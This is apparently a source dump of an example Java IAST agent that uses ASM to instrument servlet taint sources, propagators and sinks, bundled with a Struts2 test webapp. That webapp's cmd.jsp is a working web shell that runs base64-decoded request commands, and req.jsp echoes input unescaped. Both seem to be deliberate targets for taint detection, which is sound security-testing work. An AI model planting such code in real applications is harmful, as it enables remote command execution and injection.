e.printStackTrace(); 166 | return -1; 167 | } 168 | } 169 | 170 | public String getContentType() { 171 | try { 172 | Method method = requestClass.getMethod("getContentType"); 173 | method.setAccessible(true); 174 | return (String) method.invoke(request); 175 | } catch (Exception e) { 176 | e.printStackTrace(); 177 | return null; 178 | } 179 | } 180 | 181 | public String getParameter(String name) { 182 | try { 183 | Method method = requestClass.getMethod("getParameter", String.class); 184 | method.setAccessible(true); 185 | return (String) method.invoke(request, name); 186 | } catch (Exception e) { 187 | e.printStackTrace(); 188 | return null; 189 | } 190 | } 191 | 192 | public Enumeration getParameterNames() { 193 | try { 194 | Method method = requestClass.getMethod("getParameterNames"); 195 | method.setAccessible(true); 196 | return (Enumeration) method.invoke(request); 197 | } catch (Exception e) { 198 | e.printStackTrace(); 199 | return null; 200 | } 201 | } 202 | 203 | public String[] getParameterValues(String name) { 204 | try { 205 | Method method = requestClass.getMethod("getParameterValues", String.class); 206 | method.setAccessible(true); 207 | return (String[]) method.invoke(request, name); 208 | } catch (Exception e) { 209 | e.printStackTrace(); 210 | return null; 211 | } 212 | } 213 | 214 | public Map getParameterMap() { 215 | try { 216 | Method method = requestClass.getMethod("getParameterMap"); 217 | method.setAccessible(true); 218 | return (Map) method.invoke(request); 219 | } catch (Exception e) { 220 | e.printStackTrace(); 221 | return null; 222 | } 223 | } 224 | 225 | public String getProtocol() { 226 | try { 227 | Method method = requestClass.getMethod("getProtocol"); 228 | method.setAccessible(true); 229 | return (String) method.invoke(request); 230 | } catch (Exception e) { 231 | e.printStackTrace(); 232 | return null; 233 | } 234 | } 235 | 236 | public String getScheme() { 237 | try { 238 | Method method = requestClass.getMethod("getScheme"); 239 | method.setAccessible(true); 240 | return (String) method.invoke(request); 241 | } catch (Exception e) { 242 | e.printStackTrace(); 243 | return null; 244 | } 245 | } 246 | 247 | public String getServerName() { 248 | try { 249 | Method method = requestClass.getMethod("getServerName"); 250 | method.setAccessible(true); 251 | return (String) method.invoke(request); 252 | } catch (Exception e) { 253 | e.printStackTrace(); 254 | return null; 255 | } 256 | } 257 | 258 | public int getServerPort() { 259 | try { 260 | Method method = requestClass.getMethod("getServerPort"); 261 | method.setAccessible(true); 262 | return (Integer) method.invoke(request); 263 | } catch (Exception e) { 264 | e.printStackTrace(); 265 | return -1; 266 | } 267 | } 268 | 269 | public BufferedReader getReader() throws IOException { 270 | try { 271 | Method method = requestClass.getMethod("getReader"); 272 | method.setAccessible(true); 273 | return (BufferedReader) method.invoke(request); 274 | } catch (Exception e) { 275 | e.printStackTrace(); 276 | return null; 277 | } 278 | } 279 | 280 | public String getRemoteAddr() { 281 | try { 282 | Method method = requestClass.getMethod("getRemoteAddr"); 283 | method.setAccessible(true); 284 | return (String) method.invoke(request); 285 | } catch (Exception e) { 286 | e.printStackTrace(); 287 | return null; 288 | } 289 | } 290 | 291 | public String getRemoteHost() { 292 | try { 293 | Method method = requestClass.getMethod("getRemoteHost"); 294 | method.setAccessible(true); 295 | return (String) method.invoke(request); 296 | } catch (Exception e) { 297 | e.printStackTrace(); 298 | return null; 299 | } 300 | } 301 | 302 | public String getRealPath(String path) { 303 | try { 304 | Method method = requestClass.getMethod("getRealPath", String.class); 305 | method.setAccessible(true); 306 | return (String) method.invoke(request, path); 307 | } catch (Exception e) { 308 | e.printStackTrace(); 309 | return null; 310 | } 311 | } 312 | 313 | public int getRemotePort() { 314 | try { 315 | Method method = requestClass.getMethod("getRemotePort"); 316 | method.setAccessible(true); 317 | return (Integer) method.invoke(request); 318 | } catch (Exception e) { 319 | e.printStackTrace(); 320 | return -1; 321 | } 322 | } 323 | 324 | public String getLocalName() { 325 | try { 326 | Method method = requestClass.getMethod("getLocalName"); 327 | method.setAccessible(true); 328 | return (String) method.invoke(request); 329 | } catch (Exception e) { 330 | e.printStackTrace(); 331 | return null; 332 | } 333 | } 334 | 335 | public String getLocalAddr() { 336 | try { 337 | Method method = requestClass.getMethod("getLocalAddr"); 338 | method.setAccessible(true); 339 | return (String) method.invoke(request); 340 | } catch (Exception e) { 341 | e.printStackTrace(); 342 | return null; 343 | } 344 | } 345 | 346 | public int getLocalPort() { 347 | try { 348 | Method method = requestClass.getMethod("getLocalPort"); 349 | method.setAccessible(true); 350 | return (Integer) method.invoke(request); 351 | } catch (Exception e) { 352 | e.printStackTrace(); 353 | return 0; 354 | } 355 | } 356 | } 357 | -------------------------------------------------------------------------------- /iast/src/main/java/cn/org/javaweb/iast/http/IASTServletResponse.java: -------------------------------------------------------------------------------- 1 | package cn.org.javaweb.iast.http; 2 | 3 | import java.io.IOException; 4 | import java.io.PrintWriter; 5 | import java.lang.reflect.Method; 6 | import java.util.Collection; 7 | import java.util.Locale; 8 | 9 | /** 10 | * @author iiusky - 03sec.com 11 | */ 12 | public class IASTServletResponse { 13 | 14 | private Object response; 15 | 16 | private Class responseClass; 17 | 18 | public IASTServletResponse(Object response) { 19 | this.response = response; 20 | this.responseClass = response.getClass(); 21 | } 22 | 23 | public Class getResponseClass() { 24 | return responseClass; 25 | } 26 | 27 | public boolean containsHeader(String name) { 28 | try { 29 | Method method = responseClass.getMethod("containsHeader", String.class); 30 | method.setAccessible(true); 31 | return (Boolean) method.invoke(response, name); 32 | } catch (Exception e) { 33 | e.printStackTrace(); 34 | return false; 35 | } 36 | } 37 | 38 | public String encodeURL(String url) { 39 | try { 40 | Method method = responseClass.getMethod("encodeURL", String.class); 41 | method.setAccessible(true); 42 | return (String) method.invoke(response, url); 43 | } catch (Exception e) { 44 | e.printStackTrace(); 45 | return null; 46 | } 47 | } 48 | 49 | public String encodeRedirectURL(String url) { 50 | try { 51 | Method method = responseClass.getMethod("encodeRedirectURL", String.class); 52 | method.setAccessible(true); 53 | return (String) method.invoke(response, url); 54 | } catch (Exception e) { 55 | e.printStackTrace(); 56 | return null; 57 | } 58 | } 59 | 60 | public String encodeUrl(String url) { 61 | try { 62 | Method method = responseClass.getMethod("encodeUrl", String.class); 63 | method.setAccessible(true); 64 | return (String) method.invoke(response, url); 65 | } catch (Exception e) { 66 | e.printStackTrace(); 67 | return null; 68 | } 69 | } 70 | 71 | public String encodeRedirectUrl(String url) { 72 | try { 73 | Method method = responseClass.getMethod("encodeRedirectUrl", String.class); 74 | method.setAccessible(true); 75 | return (String) method.invoke(response, url); 76 | } catch (Exception e) { 77 | e.printStackTrace(); 78 | return null; 79 | } 80 | } 81 | 82 | public void sendError(int sc, String msg) throws IOException { 83 | try { 84 | Method method = responseClass.getMethod("sendError", int.class, String.class); 85 | method.setAccessible(true); 86 | method.invoke(response, sc, msg); 87 | } catch (Exception e) { 88 | e.printStackTrace(); 89 | } 90 | } 91 | 92 | public void sendError(int sc) throws IOException { 93 | try { 94 | Method method = responseClass.getMethod("sendError", int.class); 95 | method.setAccessible(true); 96 | method.invoke(response, sc); 97 | } catch (Exception e) { 98 | e.printStackTrace(); 99 | } 100 | } 101 | 102 | public void sendRedirect(String location) throws IOException { 103 | try { 104 | Method method = responseClass.getMethod("sendRedirect", String.class); 105 | method.setAccessible(true); 106 | method.invoke(response, location); 107 | } catch (Exception e) { 108 | e.printStackTrace(); 109 | } 110 | } 111 | 112 | public void setDateHeader(String name, long date) { 113 | try { 114 | Method method = responseClass.getMethod("setDateHeader", String.class, long.class); 115 | method.setAccessible(true); 116 | method.invoke(response, name, date); 117 | } catch (Exception e) { 118 | e.printStackTrace(); 119 | } 120 | } 121 | 122 | public void addDateHeader(String name, long date) { 123 | try { 124 | Method method = responseClass.getMethod("addDateHeader", String.class, long.class); 125 | method.setAccessible(true); 126 | method.invoke(response, name, date); 127 | } catch (Exception e) { 128 | e.printStackTrace(); 129 | } 130 | } 131 | 132 | public void setHeader(String name, String value) { 133 | try { 134 | Method method = responseClass.getMethod("setHeader", String.class, String.class); 135 | method.setAccessible(true); 136 | method.invoke(response, name, value); 137 | } catch (Exception e) { 138 | e.printStackTrace(); 139 | } 140 | } 141 | 142 | public void addHeader(String name, String value) { 143 | try { 144 | Method method = responseClass.getMethod("addHeader", String.class, String.class); 145 | method.setAccessible(true); 146 | method.invoke(response, name, value); 147 | } catch (Exception e) { 148 | e.printStackTrace(); 149 | } 150 | } 151 | 152 | public void setIntHeader(String name, int value) { 153 | try { 154 | Method method = responseClass.getMethod("setIntHeader", String.class, int.class); 155 | method.setAccessible(true); 156 | method.invoke(response, name, value); 157 | } catch (Exception e) { 158 | e.printStackTrace(); 159 | } 160 | } 161 | 162 | public void addIntHeader(String name, int value) { 163 | try { 164 | Method method = responseClass.getMethod("addIntHeader", String.class, int.class); 165 | method.setAccessible(true); 166 | method.invoke(response, name, value); 167 | } catch (Exception e) { 168 | e.printStackTrace(); 169 | } 170 | } 171 | 172 | public void setStatus(int sc) { 173 | try { 174 | Method method = responseClass.getMethod("setStatus", int.class); 175 | method.setAccessible(true); 176 | method.invoke(response, sc); 177 | } catch (Exception e) { 178 | e.printStackTrace(); 179 | } 180 | } 181 | 182 | public void setStatus(int sc, String sm) { 183 | try { 184 | Method method = responseClass.getMethod("setStatus", int.class, String.class); 185 | method.setAccessible(true); 186 | method.invoke(response, sc, sm); 187 | } catch (Exception e) { 188 | e.printStackTrace(); 189 | } 190 | } 191 | 192 | public int getStatus() { 193 | try { 194 | Method method = responseClass.getMethod("getStatus"); 195 | method.setAccessible(true); 196 | return (Integer) method.invoke(response); 197 | } catch (Exception e) { 198 | e.printStackTrace(); 199 | return -1; 200 | } 201 | } 202 | 203 | public String getHeader(String name) { 204 | try { 205 | Method method = responseClass.getMethod("getHeader", String.class); 206 | method.setAccessible(true); 207 | return (String) method.invoke(response, name); 208 | } catch (Exception e) { 209 | e.printStackTrace(); 210 | return null; 211 | } 212 | } 213 | 214 | public Collection getHeaders(String name) { 215 | try { 216 | Method method = responseClass.getMethod("getHeaders", String.class); 217 | method.setAccessible(true); 218 | return (Collection) method.invoke(response, name); 219 | } catch (Exception e) { 220 | e.printStackTrace(); 221 | return null; 222 | } 223 | } 224 | 225 | public Collection getHeaderNames() { 226 | try { 227 | Method method = responseClass.getMethod("getHeaderNames"); 228 | method.setAccessible(true); 229 | return (Collection) method.invoke(response); 230 | } catch (Exception e) { 231 | e.printStackTrace(); 232 | return null; 233 | } 234 | } 235 | 236 | public String getCharacterEncoding() { 237 | try { 238 | Method method = responseClass.getMethod("getCharacterEncoding"); 239 | method.setAccessible(true); 240 | return (String) method.invoke(response); 241 | } catch (Exception e) { 242 | e.printStackTrace(); 243 | return null; 244 | } 245 | } 246 | 247 | public String getContentType() { 248 | try { 249 | Method method = responseClass.getMethod("getContentType"); 250 | method.setAccessible(true); 251 | return (String) method.invoke(response); 252 | } catch (Exception e) { 253 | e.printStackTrace(); 254 | return null; 255 | } 256 | } 257 | 258 | 259 | public PrintWriter getWriter() throws IOException { 260 | try { 261 | Method method = responseClass.getMethod("getWriter"); 262 | method.setAccessible(true); 263 | return (PrintWriter) method.invoke(response); 264 | } catch (Exception e) { 265 | e.printStackTrace(); 266 | return null; 267 | } 268 | } 269 | 270 | public void setCharacterEncoding(String charset) { 271 | try { 272 | Method method = responseClass.getMethod("setCharacterEncoding", String.class); 273 | method.setAccessible(true); 274 | method.invoke(response, charset); 275 | } catch (Exception e) { 276 | e.printStackTrace(); 277 | } 278 | } 279 | 280 | public void setContentLength(int len) { 281 | try { 282 | Method method = responseClass.getMethod("setContentLength", int.class); 283 | method.setAccessible(true); 284 | method.invoke(response, len); 285 | } catch (Exception e) { 286 | e.printStackTrace(); 287 | } 288 | } 289 | 290 | public void setContentLengthLong(long len) { 291 | try { 292 | Method method = responseClass.getMethod("setContentLengthLong", long.class); 293 | method.setAccessible(true); 294 | method.invoke(response, len); 295 | } catch (Exception e) { 296 | e.printStackTrace(); 297 | } 298 | } 299 | 300 | public void setContentType(String type) { 301 | try { 302 | Method method = responseClass.getMethod("setContentType", String.class); 303 | method.setAccessible(true); 304 | method.invoke(response, type); 305 | } catch (Exception e) { 306 | e.printStackTrace(); 307 | } 308 | } 309 | 310 | public void setBufferSize(int size) { 311 | try { 312 | Method method = responseClass.getMethod("setBufferSize", int.class); 313 | method.setAccessible(true); 314 | method.invoke(response, size); 315 | } catch (Exception e) { 316 | e.printStackTrace(); 317 | } 318 | } 319 | 320 | public int getBufferSize() { 321 | try { 322 | Method method = responseClass.getMethod("getBufferSize"); 323 | method.setAccessible(true); 324 | return (Integer) method.invoke(response); 325 | } catch (Exception e) { 326 | e.printStackTrace(); 327 | return -1; 328 | } 329 | } 330 | 331 | public void flushBuffer() throws IOException { 332 | try { 333 | Method method = responseClass.getMethod("flushBuffer"); 334 | method.setAccessible(true); 335 | method.invoke(response); 336 | } catch (Exception e) { 337 | e.printStackTrace(); 338 | } 339 | } 340 | 341 | public void resetBuffer() { 342 | try { 343 | Method method = responseClass.getMethod("resetBuffer"); 344 | method.setAccessible(true); 345 | method.invoke(response); 346 | } catch (Exception e) { 347 | e.printStackTrace(); 348 | } 349 | } 350 | 351 | public boolean isCommitted() { 352 | try { 353 | Method method = responseClass.getMethod("isCommitted"); 354 | method.setAccessible(true); 355 | return (Boolean) method.invoke(response); 356 | } catch (Exception e) { 357 | e.printStackTrace(); 358 | return false; 359 | } 360 | } 361 | 362 | public void reset() { 363 | try { 364 | Method method = responseClass.getMethod("reset"); 365 | method.setAccessible(true); 366 | method.invoke(response); 367 | } catch (Exception e) { 368 | e.printStackTrace(); 369 | } 370 | } 371 | 372 | public void setLocale(Locale loc) { 373 | try { 374 | Method method = responseClass.getMethod("setLocale", Locale.class); 375 | method.setAccessible(true); 376 | method.invoke(response, loc); 377 | } catch (Exception e) { 378 | e.printStackTrace(); 379 | } 380 | } 381 | 382 | public Locale getLocale() { 383 | try { 384 | Method method = responseClass.getMethod("getLocale"); 385 | method.setAccessible(true); 386 | return (Locale) method.invoke(response); 387 | } catch (Exception e) { 388 | e.printStackTrace(); 389 | return null; 390 | } 391 | } 392 | } 393 | -------------------------------------------------------------------------------- /iast/src/main/java/cn/org/javaweb/iast/visitor/Handler.java: -------------------------------------------------------------------------------- 1 | package cn.org.javaweb.iast.visitor; 2 | 3 | import org.objectweb.asm.MethodVisitor; 4 | 5 | /** 6 | * @author iiusky - 03sec.com 7 | */ 8 | public interface Handler { 9 | 10 | MethodVisitor ClassVisitorHandler(MethodVisitor mv, final String className, int access, String name, String desc, String signature, String[] exceptions); 11 | } 12 | -------------------------------------------------------------------------------- /iast/src/main/java/cn/org/javaweb/iast/visitor/handler/HttpClassVisitorHandler.java: -------------------------------------------------------------------------------- 1 | package cn.org.javaweb.iast.visitor.handler; 2 | 3 | import cn.org.javaweb.iast.visitor.Handler; 4 | import org.objectweb.asm.MethodVisitor; 5 | import org.objectweb.asm.Opcodes; 6 | import org.objectweb.asm.Type; 7 | import org.objectweb.asm.commons.AdviceAdapter; 8 | 9 | import java.lang.reflect.Modifier; 10 | 11 | 12 | /** 13 | * @author iiusky - 03sec.com 14 | */ 15 | public class HttpClassVisitorHandler implements Handler { 16 | 17 | private static final String METHOD_DESC = "(Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V"; 18 | 19 | public MethodVisitor ClassVisitorHandler(MethodVisitor mv, final String className, int access, 20 | String name, String desc, String signature, String[] exceptions) { 21 | if ("service".equals(name) && METHOD_DESC.equals(desc)) { 22 | final boolean isStatic = Modifier.isStatic(access); 23 | final Type argsType = Type.getType(Object[].class); 24 | 25 | System.out.println( 26 | "HTTP Process 类名是: " + className + ",方法名是: " + name + "方法的描述符是:" + desc + ",签名是:" 27 | + signature + ",exceptions:" + exceptions); 28 | return new AdviceAdapter(Opcodes.ASM5, mv, access, name, desc) { 29 | @Override 30 | protected void onMethodEnter() { 31 | loadArgArray(); 32 | int argsIndex = newLocal(argsType); 33 | storeLocal(argsIndex, argsType); 34 | loadLocal(argsIndex); 35 | 36 | if (isStatic) { 37 | push((Type) null); 38 | } else { 39 | loadThis(); 40 | } 41 | 42 | loadLocal(argsIndex); 43 | 44 | mv.visitMethodInsn(INVOKESTATIC, "cn/org/javaweb/iast/core/Http", "enterHttp", 45 | "([Ljava/lang/Object;)V", false); 46 | 47 | } 48 | 49 | @Override 50 | protected void onMethodExit(int i) { 51 | super.onMethodExit(i); 52 | mv.visitMethodInsn(INVOKESTATIC, "cn/org/javaweb/iast/core/Http", "leaveHttp", "()V", 53 | false); 54 | } 55 | }; 56 | } 57 | return mv; 58 | } 59 | } 60 | 61 | 62 | -------------------------------------------------------------------------------- /iast/src/main/java/cn/org/javaweb/iast/visitor/handler/PropagatorClassVisitorHandler.java: -------------------------------------------------------------------------------- 1 | package cn.org.javaweb.iast.visitor.handler; 2 | 3 | import cn.org.javaweb.iast.visitor.Handler; 4 | import org.objectweb.asm.MethodVisitor; 5 | import org.objectweb.asm.Opcodes; 6 | import org.objectweb.asm.Type; 7 | import org.objectweb.asm.commons.AdviceAdapter; 8 | 9 | import java.lang.reflect.Modifier; 10 | 11 | 12 | /** 13 | * @author iiusky - 03sec.com 14 | */ 15 | public class PropagatorClassVisitorHandler implements Handler { 16 | 17 | private static final String METHOD_DESC = "(Ljava/lang/String;)[B"; 18 | 19 | private static final String CLASS_NAME = "java.lang.Runtime"; 20 | 21 | @Override 22 | public MethodVisitor ClassVisitorHandler(MethodVisitor mv, final String className, int access, 23 | final String name, final String desc, String signature, String[] exceptions) { 24 | if ((name.contains("decode") && METHOD_DESC.equals(desc)) || CLASS_NAME.equals(className)) { 25 | final boolean isStatic = Modifier.isStatic(access); 26 | final Type argsType = Type.getType(Object[].class); 27 | 28 | if (((access & Opcodes.ACC_NATIVE) == Opcodes.ACC_NATIVE) || className 29 | .contains("cn.org.javaweb.iast")) { 30 | System.out.println( 31 | "Propagator Process Skip 类名:" + className + ",方法名: " + name + "方法的描述符是:" + desc); 32 | } else { 33 | System.out 34 | .println("Propagator Process 类名:" + className + ",方法名: " + name + "方法的描述符是:" + desc); 35 | return new AdviceAdapter(Opcodes.ASM5, mv, access, name, desc) { 36 | @Override 37 | protected void onMethodEnter() { 38 | loadArgArray(); 39 | int argsIndex = newLocal(argsType); 40 | storeLocal(argsIndex, argsType); 41 | loadLocal(argsIndex); 42 | push(className); 43 | push(name); 44 | push(desc); 45 | push(isStatic); 46 | 47 | mv.visitMethodInsn(INVOKESTATIC, "cn/org/javaweb/iast/core/Propagator", 48 | "enterPropagator", 49 | "([Ljava/lang/Object;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Z)V", 50 | false); 51 | super.onMethodEnter(); 52 | } 53 | 54 | @Override 55 | protected void onMethodExit(int opcode) { 56 | Type returnType = Type.getReturnType(desc); 57 | if (returnType == null || Type.VOID_TYPE.equals(returnType)) { 58 | push((Type) null); 59 | } else { 60 | mv.visitInsn(Opcodes.DUP); 61 | } 62 | push(className); 63 | push(name); 64 | push(desc); 65 | push(isStatic); 66 | mv.visitMethodInsn(INVOKESTATIC, "cn/org/javaweb/iast/core/Propagator", 67 | "leavePropagator", 68 | "(Ljava/lang/Object;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Z)V", 69 | false); 70 | super.onMethodExit(opcode); 71 | } 72 | }; 73 | } 74 | } 75 | return mv; 76 | } 77 | } 78 | 79 | 80 | -------------------------------------------------------------------------------- /iast/src/main/java/cn/org/javaweb/iast/visitor/handler/SinkClassVisitorHandler.java: -------------------------------------------------------------------------------- 1 | package cn.org.javaweb.iast.visitor.handler; 2 | 3 | import cn.org.javaweb.iast.visitor.Handler; 4 | import org.objectweb.asm.MethodVisitor; 5 | import org.objectweb.asm.Opcodes; 6 | import org.objectweb.asm.Type; 7 | import org.objectweb.asm.commons.AdviceAdapter; 8 | 9 | import java.lang.reflect.Modifier; 10 | 11 | 12 | /** 13 | * @author iiusky - 03sec.com 14 | */ 15 | public class SinkClassVisitorHandler implements Handler { 16 | 17 | private static final String METHOD_DESC = "()Ljava/lang/Process;"; 18 | 19 | @Override 20 | public MethodVisitor ClassVisitorHandler(MethodVisitor mv, final String className, int access, 21 | final String name, final String desc, String signature, String[] exceptions) { 22 | if (("start".equals(name) && METHOD_DESC.equals(desc))) { 23 | final boolean isStatic = Modifier.isStatic(access); 24 | final Type argsType = Type.getType(Object[].class); 25 | 26 | System.out.println("Sink Process 类名:" + className + ",方法名: " + name + "方法的描述符是:" + desc); 27 | return new AdviceAdapter(Opcodes.ASM5, mv, access, name, desc) { 28 | @Override 29 | protected void onMethodEnter() { 30 | loadArgArray(); 31 | int argsIndex = newLocal(argsType); 32 | storeLocal(argsIndex, argsType); 33 | loadThis(); 34 | loadLocal(argsIndex); 35 | push(className); 36 | push(name); 37 | push(desc); 38 | push(isStatic); 39 | 40 | mv.visitMethodInsn(INVOKESTATIC, "cn/org/javaweb/iast/core/Sink", "enterSink", 41 | "([Ljava/lang/Object;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Z)V", 42 | false); 43 | super.onMethodEnter(); 44 | } 45 | }; 46 | } 47 | return mv; 48 | } 49 | } 50 | 51 | 52 | -------------------------------------------------------------------------------- /iast/src/main/java/cn/org/javaweb/iast/visitor/handler/SourceClassVisitorHandler.java: -------------------------------------------------------------------------------- 1 | package cn.org.javaweb.iast.visitor.handler; 2 | 3 | import cn.org.javaweb.iast.visitor.Handler; 4 | import org.objectweb.asm.MethodVisitor; 5 | import org.objectweb.asm.Opcodes; 6 | import org.objectweb.asm.Type; 7 | import org.objectweb.asm.commons.AdviceAdapter; 8 | 9 | import java.lang.reflect.Modifier; 10 | 11 | 12 | /** 13 | * @author iiusky - 03sec.com 14 | */ 15 | public class SourceClassVisitorHandler implements Handler { 16 | 17 | private static final String METHOD_DESC = "(Ljava/lang/String;)Ljava/lang/String;"; 18 | 19 | public MethodVisitor ClassVisitorHandler(MethodVisitor mv, final String className, int access, final String name, 20 | final String desc, String signature, String[] exceptions) { 21 | if (METHOD_DESC.equals(desc) && "getParameter".equals(name)) { 22 | final boolean isStatic = Modifier.isStatic(access); 23 | 24 | System.out.println("Source Process 类名是: " + className + ",方法名是: " + name + "方法的描述符是:" + desc + ",签名是:" + signature + ",exceptions:" + exceptions); 25 | return new AdviceAdapter(Opcodes.ASM5, mv, access, name, desc) { 26 | @Override 27 | protected void onMethodEnter() { 28 | loadArgArray(); 29 | int argsIndex = newLocal(Type.getType(Object[].class)); 30 | storeLocal(argsIndex, Type.getType(Object[].class)); 31 | loadLocal(argsIndex); 32 | push(className); 33 | push(name); 34 | push(desc); 35 | push(isStatic); 36 | 37 | mv.visitMethodInsn(INVOKESTATIC, "cn/org/javaweb/iast/core/Source", "enterSource", "([Ljava/lang/Object;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Z)V", false); 38 | super.onMethodEnter(); 39 | } 40 | 41 | @Override 42 | protected void onMethodExit(int opcode) { 43 | Type returnType = Type.getReturnType(desc); 44 | if (returnType == null || Type.VOID_TYPE.equals(returnType)) { 45 | push((Type) null); 46 | } else { 47 | mv.visitInsn(Opcodes.DUP); 48 | } 49 | push(className); 50 | push(name); 51 | push(desc); 52 | push(isStatic); 53 | mv.visitMethodInsn(INVOKESTATIC, "cn/org/javaweb/iast/core/Source", "leaveSource", "(Ljava/lang/Object;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Z)V", false); 54 | super.onMethodExit(opcode); 55 | } 56 | }; 57 | } 58 | return mv; 59 | } 60 | } 61 | 62 | 63 | -------------------------------------------------------------------------------- /iast/src/main/resources/MANIFEST.MF: -------------------------------------------------------------------------------- 1 | Manifest-Version: 1.0 2 | Premain-Class: cn.org.javaweb.iast.Agent 3 | Can-Retransform-Classes: true 4 | Can-Redefine-Classes: true 5 | Can-Set-Native-Method-Prefix: true 6 | -------------------------------------------------------------------------------- /java_iast_example.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | -------------------------------------------------------------------------------- /pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | cn.org.javaweb 8 | iast 9 | 1.0-SNAPSHOT 10 | 11 | 12 | 8 13 | 8 14 | 15 | 16 | 17 | iast 18 | test-struts2 19 | 20 | 21 | -------------------------------------------------------------------------------- /test-struts2/pom.xml: -------------------------------------------------------------------------------- 1 | 3 | 4 | 5 | agent 6 | cn.org.javaweb 7 | 1.0.0 8 | 9 | 10 | 4.0.0 11 | test-struts2 12 | war 13 | test-struts2 14 | http://maven.apache.org 15 | 16 | UTF-8 17 | 1.6 18 | 1.6 19 | 1.6 20 | 3.2.1 21 | 8.5.31 22 | 2.1.8 23 | 4.12 24 | 25 | 26 | 27 | 28 | 29 | junit 30 | junit 31 | ${junit} 32 | test 33 | 34 | 35 | 36 | javax.servlet 37 | javax.servlet-api 38 | 3.1.0 39 | provided 40 | 41 | 42 | 43 | javax.servlet.jsp 44 | jsp-api 45 | 2.2 46 | provided 47 | 48 | 49 | 50 | javax.el 51 | el-api 52 | 2.2 53 | provided 54 | 55 | 56 | 57 | javax.servlet 58 | jstl 59 | 1.2 60 | 61 | 62 | 63 | taglibs 64 | standard 65 | 1.1.2 66 | provided 67 | 68 | 69 | 70 | org.apache.struts 71 | struts2-core 72 | ${struts} 73 | 74 | 75 | 76 | commons-collections 77 | commons-collections 78 | ${commons-collections} 79 | 80 | 81 | 82 | org.apache.tomcat 83 | tomcat-jasper 84 | ${tomcat} 85 | provided 86 | 87 | 88 | 89 | org.apache.tomcat 90 | tomcat-catalina 91 | ${tomcat} 92 | provided 93 | 94 | 95 | 96 | org.apache.tomcat 97 | tomcat-websocket 98 | ${tomcat} 99 | provided 100 | 101 | 102 | 103 | mysql 104 | mysql-connector-java 105 | 5.1.45 106 | 107 | 108 | 109 | com.microsoft.sqlserver 110 | mssql-jdbc 111 | 6.3.6.jre7-preview 112 | 113 | 114 | 115 | org.springframework 116 | spring-expression 117 | 5.0.6.RELEASE 118 | 119 | 120 | 121 | org.mvel 122 | mvel2 123 | 2.4.0.Final 124 | 125 | 126 | 127 | dom4j 128 | dom4j 129 | 1.6.1 130 | 131 | 132 | 133 | 134 | 135 | test-struts2 136 | 137 | 138 | -------------------------------------------------------------------------------- /test-struts2/src/main/java/cn/org/javaweb/test/action/TestAction.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright yz 2016-05-25 Email:admin@javaweb.org. 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | package cn.org.javaweb.test.action; 17 | 18 | import com.opensymphony.xwork2.ActionContext; 19 | import com.opensymphony.xwork2.ActionSupport; 20 | import org.apache.struts2.ServletActionContext; 21 | 22 | import javax.servlet.http.HttpServletRequest; 23 | 24 | /** 25 | * Created by yz on 2016-05-25. 26 | */ 27 | public class TestAction extends ActionSupport { 28 | 29 | private ActionContext context = ActionContext.getContext(); 30 | 31 | private HttpServletRequest request = (HttpServletRequest) context.get(ServletActionContext.HTTP_REQUEST); 32 | 33 | 34 | @Override 35 | public String execute() { 36 | System.out.println(request.getParameter("id")); 37 | return SUCCESS; 38 | } 39 | 40 | } 41 | -------------------------------------------------------------------------------- /test-struts2/src/main/resources/struts.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | index.jsp 15 | 16 | 17 | 18 | 19 | 20 | -------------------------------------------------------------------------------- /test-struts2/src/main/webapp/META-INF/context.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | -------------------------------------------------------------------------------- /test-struts2/src/main/webapp/WEB-INF/web.xml: -------------------------------------------------------------------------------- 1 | 4 | 5 | 6 | 7 | 8 | struts2 9 | org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter 10 | 11 | 12 | 13 | struts2 14 | *.action 15 | 16 | 17 | 18 | index.jsp 19 | 20 | 21 | 22 | -------------------------------------------------------------------------------- /test-struts2/src/main/webapp/cmd.jsp: -------------------------------------------------------------------------------- 1 | <%@ page import="java.io.InputStream" %> 2 | <%@ page import="java.util.Base64" %> 3 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> 4 |
 5 | <%
 6 |     String sb = request.getParameter("cmd");
 7 |     byte[] decode = Base64.getDecoder().decode(sb);
 8 |     Process process = Runtime.getRuntime().exec(new String(decode));
 9 |     InputStream in = process.getInputStream();
10 |     int a = 0;
11 |     byte[] b = new byte[1024];
12 | 
13 |     while ((a = in.read(b)) != -1) {
14 |         out.println(new String(b, 0, a));
15 |     }
16 | 
17 |     in.close();
18 | %>
19 | 
-------------------------------------------------------------------------------- /test-struts2/src/main/webapp/index.jsp: -------------------------------------------------------------------------------- 1 | Hello...sky -------------------------------------------------------------------------------- /test-struts2/src/main/webapp/req.jsp: -------------------------------------------------------------------------------- 1 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> 2 | <% 3 | String id = request.getParameter("id"); 4 | out.println(id); 5 | out.flush(); 6 | System.out.println(id); 7 | %> -------------------------------------------------------------------------------- /test-struts2/test-struts2.iml: -------------------------------------------------------------------------------- 1 | 2 | --------------------------------------------------------------------------------